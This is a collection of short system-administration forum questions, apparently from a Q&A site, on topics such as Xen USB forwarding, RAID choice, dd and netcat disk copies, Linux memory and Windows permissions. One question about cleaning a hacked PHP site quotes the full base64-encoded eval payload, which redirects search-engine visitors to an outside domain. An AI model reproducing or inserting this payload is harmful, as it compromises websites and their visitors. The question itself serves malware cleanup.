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• USB forwarding from dom0 to domU

  - by Karolis T.

  What are my options to forward two USB connected phones to xen guest? I've read about PCI-passthrough http://www.wlug.org.nz/XenPciPassthrough, but I'm sure usb controller in the server isn't a pci card. There's device level forwarding, but I need to forward two devices, this here doesn't say how to do it: http://www.olivetalks.com/2008/02/03/usb-forwarding-on-xen-it-just-does-not-work/ Would something as simple as: usbdevice = [ 'host:xxx', 'host:yyy', ] work? EDIT: I'm now starting a bounty. This is really important for me and for other people also, hoping someone who have this resolved will be able to help.

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• grep, xargs, sed to clean up PHP eval hack

  - by roktechie

  I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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• ISCSI: Ethernet cable maximum length vs. SCSI command timeout

  - by Jeremy Hajek

  I have a question about a non-optimal setup and the practical implications of this. Ideally you would place the ESXi server right in the same room as the FreeNas white box end of question. My situation is this: I have a run of ~125ft of Cat 5e connecting a ESXi server to a FreeNas whitebox in the server room. I know the distance of the ethernet cable is within the maximum distance for ethernet traffic but I have two questions... Can Cat 5e support gigbit speeds at that distance if the switch on the back end is a linksys SRW-2048? Should I be concerned about the distance causing data read and write timeouts in the SCSI portion--(disk operations of the ESXi)?

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• When copying VM filesystem over netcat, dd copies double the disk size

  - by JivanAmara

  I'm attempting to copy the disk of a working headless virtualbox VM (VM1) on one server to a new VM (VM2) on a vCloud server. I don't have access to the host of VM2. The OS is Windows Server 2003 (32-bit) I start both VMs with a live Knoppix image. I run 'nc -l | dd of=/dev/sda bs=512' on VM2 I run 'dd if=/dev/sda bs=512 | nc ' on VM1 I previously did this with another windows VM and it worked fine. VM1 has a disk of size ~70GB (verified with fdisk); however, the amount of data dd reports read/written is ~139GB. Of course the target machine doesn't work properly. I get a Windows splash screen, then blue error screen with general 'system not working' information. I'm at a loss what could cause this. Any ideas?

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• Requiring mulitple group membership in order to access folder

  - by David

  How would I go about creating a file or folder that requires a user to be a member of two or more different groups in order to read/write to the folder? For example, say I run an auto repair shop, and I have a folder called "Repair History" and I only want people to access it if they are members of BOTH the "Mechanics" and "Cashiers" group? This would be an AND requirment instead of an OR requirement which seems to be the norm. I know we can create a separate group that is needed to access the folder, but this is more of an academic question, since it pertains to a different security structure that we are creating. I'm not sure if MS security handles it, but I'm wondering how it would be done either way.

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• Add directory to $PATH if it's not already there

  - by Doug Harris

  Has anybody written a bash function to add a directory to $PATH only if it's not already there? I typically add to PATH using something like: export PATH=/usr/local/mysql/bin:$PATH If I construct my PATH in .bash_profile, then it's not read unless the session I'm in is a login session -- which isn't always true. If I construct my PATH in .bashrc, then it runs with each subshell. So if I launch a Terminal window and then run screen and then run a shell script, I get: $ echo $PATH /usr/local/mysql/bin:/usr/local/mysql/bin:/usr/local/mysql/bin:.... I'm going to try building a bash function called add_to_path() which only adds the directory if it's not there. But, if anybody has already written (or found) such a thing, I won't spend the time on it.

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• Compressed disk image on Linux

  - by Aaron Digulla

  I just got my new computer with a much bigger harddisk. I think I copied all important files over but just to be sure, I'd like to keep a disk image of my old disk. To save space, I'd like to compress it but I didn't find an option to mount a compressed image. My goals: Result must be easy to access No need to decompress the whole thing before I can access anything Files should be quick to locate - no TAR/CPIO archive Necessary space should be less than just copying the files over So ideally, I'm looking for a read-only, compressed file system which I can create in a file and which grows automatically.

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• Recommend a mail server setup for multiple domains

  - by Greg

  Hi all, I've just set up a new Debian web server which I have done plenty of times before, but I want to add a mail server which I have never done before. I am aware of this question, but I would like someone to recommend packages and briefly explain how to use them for providing pop/imap access on multiple domains, a concept that has confused me for a while. I'm planning for this server to grow slowly but surely, from serving an initial 5 or 6 domains to about 20 in the first year, continuing at this rate. (yes, I've jumped on the cloud bandwaggon). At the moment, I have a DNS-A record pointing to my server's IP and nothing else. I'm assuming that I need a DNS-MX record pointing there too, but I haven't read up about it yet so today that's what I'll be doing. Hopefully reading up on the subject and the help that I get here will get my server up and running in no time. Thanks!

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• Windows Server 2008 R2 permissions: Users can't write despite being administrators

  - by Matias Nino

  We just set up a new R2 server and created a bunch of local user accounts on it that are part of the administrator's group. We then set permissions on some shares and folders to allow FULL CONTROL to anyone from the administrator's group. However, the users cannot write to these folders when logged on. On some folders on the C:\ they are prompted for consent in order to gain permission to read them. Any ideas? Are there any tools that would help me troubleshoot this? Thanks in advance for any tips.

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• psloggedon timeout question.

  - by user60707

  Hi guys, I have a list of machine names from my network that I have put in a batchfile to run through the list and show me who is logged onto each. psloggedon \machineA psloggedon \machineB psloggedon \machineC psloggedon \machineD psloggedon \machineE psloggedon \machineF Psloggedon works fine, however when it hits a machine that isnt actually on the network, it hangs for a good 30 - 60 seconds before moving onto the next machine...I was just wondering if there was any way to speed this up so that if it hits a machine that isnt on the network, it moves onto the next machine in the list much quicker. I have read in other places that this could be possible by adding a ping -n loop into the command but im not sure how to get that to work? any ideas guys? Many thanks in advance. Jimmy

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• How do I make a partition usable in windows 7 after power loss?

  - by user1306322

  A few days ago I was installing some software and power went down. When I rebooted, the partition to which the software was installed was not accessible. Disk manager shows that it's there, but doesn't show type, if it's healthy and gives me an error when trying to read its properties. The problem seems to be common after power loss, people recommend solving it by assigning a letter to the partition via DiskPart utility, but partition isn't listed in my case. I can access that partition with bootable OSs (like bootable Ubuntu or winXP) and all the files are there, but another installation of Windows 7 gives me the same results as the original. I could just copy all data to another disk if there was enough space, but unfortunately the size of partition I'm having problems with is 1.1TB. How do I regain access to the partition in my original Windows 7 installation without losing any data?

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• choosing the right RAID level for PostgresQL database

  - by Sergey

  Hi, I got an disk array appliance of 8 disks 1T each (UltraStor RS8IP4). It will be used solely by PostgresQL database and I am trying to choose the best RAID level for it. The most priority is for read performance since we operate large data sets (tables, indexes) and we do lots of searches/scans. With the old disks that we have now the most slowdowns happen on SELECTs. Fault tolerance is less important, it can be 1 or 2 disks. Space is the least important factor. Even 1T will be enough. Which RAID level would you recommend in this situation. The current options are 60, 50 and 10, but probably other options can be even better.

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• install bluetooth in samsung R430, windows 7

  - by voodoomsr

  how can i install the bluetooth driver in this laptop in windows 7. The installation process tells me that i need to activate the bluetooth device to continue, but how can i activate if till that moment the device doesn't exist. There isn't any button or switch to activate the device manually. Edited: it's the np-r430 model. I read somewhere (a users forum, not official info) that for Chile and Argentina this models doesn't have built in the bluetooth device, but the US models have it. Maybe for some political and weird reason they send to south american laptops without that. The link of my notebook's specifications in an AR domain: np-r40

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• vsftpd, virtual users and permissions. Avoid using chmod 777?

  - by Jakobud

  I am running vsftpd with Virtual Users (managed through a MySQL db). Each users home/default directory is owned by vsftpd:vsftpd. I need to give a user read/write permissions to some website files, owned by apache:apache so they can make some changes. I did a bind mount for the web directory to a directory in the ftp user's home/default directory. When logging in, the user is not able to write to the web folder, unless I set files to 777. Is it possible to set this up with making the directory and it's files 777? The web directory needs to be apache:apache in order for apache to work with it.

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• Free / Cached / Available memory on Linux

  - by pkoraca

  I have read that linux uses free memory for caching, to make system faster. However, both Nagios and Paessler PRTG monitoring system show me that my memory usage is critical. I could change Nagios mem_usage script to sum free and cached memory, but would that be correct information? I doubt that they misunderstood Linux memory usage. Lets say I have 8 GB RAM. 5 GB are used, 2 GB is cached, and I have 1 GB of free memory. Real available memory should be free+cached (3 GB)? If some new application would need additional 3 GB RAM, could it take everything from cache and free without using swap, or is there a minimum that should be in cache? Real example: $ cat /proc/meminfo MemTotal: 5984256 kB MemFree: 137052 kB Buffers: 140484 kB Cached: 3439616 kB SwapCached: 244 kB Active: 3148824 kB Inactive: 2341768 kB ... My monitoring tools show that I have 137 MB free RAM, however I have ~3,5 GB in Cache. Thanks!

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• Windows 7 VPN wont allow FTP, route FTP traffic through local network

  - by Rolf Herbert

  I use a VPN on my windows 7 PC for privacy and currently route all my traffic through the VPN. This arrangement is fine and its plenty fast. Unfortunately the VPN does not allow any FTP traffic so when I am updating websites I have to disconnect the VPN and work through my local connection. This is annoying and cumbersome. I have read a little about split tunnelling but this is not quite what I need, and it often talks about 'internet' traffic which is not specific to certain IPs or ports. Is it possible to route traffic on certain ports through the local connection, or is it possible to route traffic on certain IPs through the local connection using stuff built into windows 7..? Thanks

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• LVM mirroring VS RAID1

  - by syrenity

  Hi. Having learned a bit about LVM mirroring, I thought about replacing the current RAID-1 scheme I'm using to gain some flexibility. Problem is that according to what I found on the Internet, LVM is: 1) Slower then RAID-1, at least in reading (as only single volume being used for reading). 2) Non-reliable on power interrupts, and requires disk cache disabling for prevention of data loss. http://www.joshbryan.com/blog/2008/01/02/lvm2-mirrors-vs-md-raid-1/ Also it seems, at least to several setup guides I read (http://www.tcpdump.com/kb/os/linux/lvm-mirroring/intro.html), that one actually requires a 3rd disk for storing the LVM log. This makes the setup completely unusable on 2 disks installations, and lowers the amount of used mirror disks on higher amount of disks. Can anyone comment the above facts, and let me know his experience of using LVM mirroring? Thanks.

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• How Can I Edit Google Chrome's 'History Provider Cache' File?

  - by dissolved

  I'm interested in editing (not completely deleting) contents of some of Google Chrome's cache files. In particular, the 'History Provider Cache' (found in ~/Library/Application Support/Google/Chrome/Default on Mac). As this other question suggests, it appears to simply be a SQLite file. Unfortunately, when I try to open it using a SQLite browser (MesaSQLite) I'm asked for an encryption key. So, I'd welcome any suggestions on how to either (1) determine the encryption key, or (2) an alternate way to edit this file. The end goal is to be able to remove specific annoying suggestions in the Omnibar. I've read countless other techniques, but none seem to remove suggestions that have the clock icon next to it. Some say deleting this file entirely will do the trick (and I imagine it will), but I don't wish to trash my entire browsing history. I find most of the suggestions to be useful and helpful, and I'd like to preserve that.

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• Justifying a memory upgrade, take 2

  - by AngryHacker

  Previously I asked a question on what metrics I should measure (e.g. before and after) to justify a memory upgrade. Perfmon was suggested. I'd like to know which specific perfmon counters I should be measuring. So far I got: PhysicalDisk/Avg. Disk Queue Length (for each drive) PhysicalDisk/Avg. Disk Write Queue Length (for each drive) PhysicalDisk/Avg. Disk Read Queue Length (for each drive) Processor/Processor Time% SQLServer:BufferManager/Buffer cache hit ratio What other ones should I use?

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• Why can't SVN checkout into a virtualbox shared folder?

  - by Alex Waters

  I am trying to checkout into the virtualbox shared folder with svn 1.7 in ubuntu 12.04 running as a guest on a windows 7 host. I had read that this error was a 1.6 problem, and updated - but am still receiving the error: svn: E000071: Can't move '/mnt/hostShare/code/www/.svn/tmp/svn-hsOG5X' to '/mnt/hostShare/code/www/trunk/statement.aspx?d=201108': Protocol error I found this blog post about the same error in a mac environment, but am finding that changing the folder/file permissions does nothing. vim .svn/entires just has the number 12 - does this need to be changed? Thank you for any assistance! (just another reason for why I prefer git...)

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• Hard Drive missing drive space

  - by Chance Robertson

  I have a 500 GB hard drive which I previously attached to my Mac. I detached the drive without going through the eject procedure. When I did this a message showed up, which of course I did not read. I could not use the drive until I formatted again. Now, when I attach the drive it says it is formatted NTFS and has 280.39 of 500 GB free. When I open the drive in Windows Explorer, Finder, or in Linux, is only shows a handful of files totaling 54 MB. How can I find out what is taking up all the space.

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• How to determine the best byte size for the dd command

  - by James

  I know that doing a dd if=/dev/hda of=/dev/hdb does a deep hard drive copy. I've heard that people have been able to speed up the process by increasing the number of bytes that are read and written at a time (512) with the "bs" option. People have suggested that the optimal byte size is due to sector size. I personally think it would have something to do with the amount of cache that the hard drive has. My question is: What determines the ideal byte size for copying from a hard drive? and Why does that determine the ideal byte size?

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• Pervasive database backup

  - by Steven

  I'm looking for the best way to backup my pervasive database. I've read the documentation but still have a few questions. It appears that Continuous Operations method only allows me to backup the entire database? So I'd do butil -startbu @filelist, then backup the entire database (copy, rsync, etc), then run butil -endbu @filelist. Looking through the documentation I don't see a way to get transaction logs out of this method; like I would do for MSSQL (BACKUP LOG ACCT TO DISK) or Postgres (archive_command). With rsync, it might be feasible to still do this every 15 minutes. The Archival Logging method means I would have to occasionally stop the database to get a full backup, which is acceptable for me. But can I copy the log files off of the server every 15 minutes, ie log shipping? Thank you.

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• Users in ubuntu; Cant figure it out

  - by Camran

  I am the only one who will have access to my website. Just installed my VPS and managed to get most stuff working. However, stuck on the "members" part. Currently, everything has been done as "root". I have read posts that I should create a user, because root isn't ideal. I have found thousand guides on how to create a user, but now what to do next. 1- Should I create a user with adduser username and then add the user to a group? But which group? 2- And will the user then be able to do everything as I have done logged on as "root"? 3- And somebody plz explain what "sudo" has to do with this? (if anything at all) Thanks

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• Create network shares via command line with specific permissions

  - by Derek

  This is sort of a two-pronged question. I am developing an application that will need to be able to create network shares in Windows Server 2003 via the command line. So, firstly, how do I create shares in Windows via the command line? I tried researching it, and all I was able to find is that I should be using net, but other than that, there isn't much documentation. Also, in this share there will be a few directories with the names of users on the domain, and I would like for the directories to not be readable or writable by anyone else. For example, say I have two directories: jsmith and jdoe. I would like the user jsmith to write and read from the directory jsmith, but not the directory called jdoe, and vice versa.

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